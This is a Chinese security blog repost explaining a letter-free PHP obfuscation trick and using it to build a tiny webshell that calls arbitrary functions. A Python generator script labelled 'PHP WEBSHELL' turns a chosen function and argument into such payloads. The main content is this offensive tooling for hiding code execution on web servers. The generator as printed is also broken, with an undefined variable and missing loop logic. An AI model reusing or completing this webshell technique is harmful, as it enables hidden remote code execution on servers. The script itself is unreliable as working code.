一个另类的 PHP 加密算法

admin 2021年4月3日19:21:32评论35 views字数 685阅读2分17秒阅读模式

这种php的数据表示方法是国外几个大牛提出来的。

Tweetable PHP-Non Alpha

蛋疼了研究了下,写出了个微型shell


简单说明下

$_[]++;   
$_[]=$_._; 
$_=$_[$_[+_]]; 
$_=$_[+_];    //使用数组提取字符串 
$_++;        //偏移 1 得B,如果不用这句就是A 
$_("123");  //将$_ 作为函数使用

虽然会报错,但是最后函数会执行。

$++ 的使用可以依次代表24个字母 A不添加 B添加一次,以此类推。

写了一个生成脚本,大家自己看着玩吧。

#!/usr/bin/python 
#!  PHP WEBSHELL   

x={'A':'0','B':'1','C':'2','D':'3','E':'4','F':'5','G':'6','H':'7','I':'8','J':'9','K':'10','L':'11','M':'12','N':'13','O':'14','P':'15','Q':'16','R':'17','S':'18','T':'19','U':'20','V':'21','W':'22','X':'23','Y':'24','Z':'25'}
 
_attr=[] 
_list=[] 
_fuck=[] 

def _num(s): 
   tar=[] 
   x='_' 
   for i in range(s): 
     st = '$_'+x*i 
     tar.append(st) 
   return tar 

code=raw_input('Enter Code>>>').upper() 
com =raw_input('Enter Comd>>>') 

for i in code: 
  _attr.append(x[i]) 

start = '' 

_list.append(end) 

print ' '.join(_list)

应该没有哪里弄错,提供两个用户输入 一个是php函数,另一个是函数参数。

妈的四点了 睡觉去 8.。。。

source

文章来源于lcx.cc:一个另类的 PHP 加密算法

相关推荐: snmp弱口令引起的信息泄漏

0x00 snmp协议简介 snmp协议即简单网络管理协议(SNMP,Simple Network Management Protocol)。目前一共有3个版本:V1,V2c,V3。V3是最新的版本,在安全的设计上有了很大改进。不过目前广泛应用的还是存在较多安…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月3日19:21:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一个另类的 PHP 加密算法http://cn-sec.com/archives/321782.html

发表评论

匿名网友 填写信息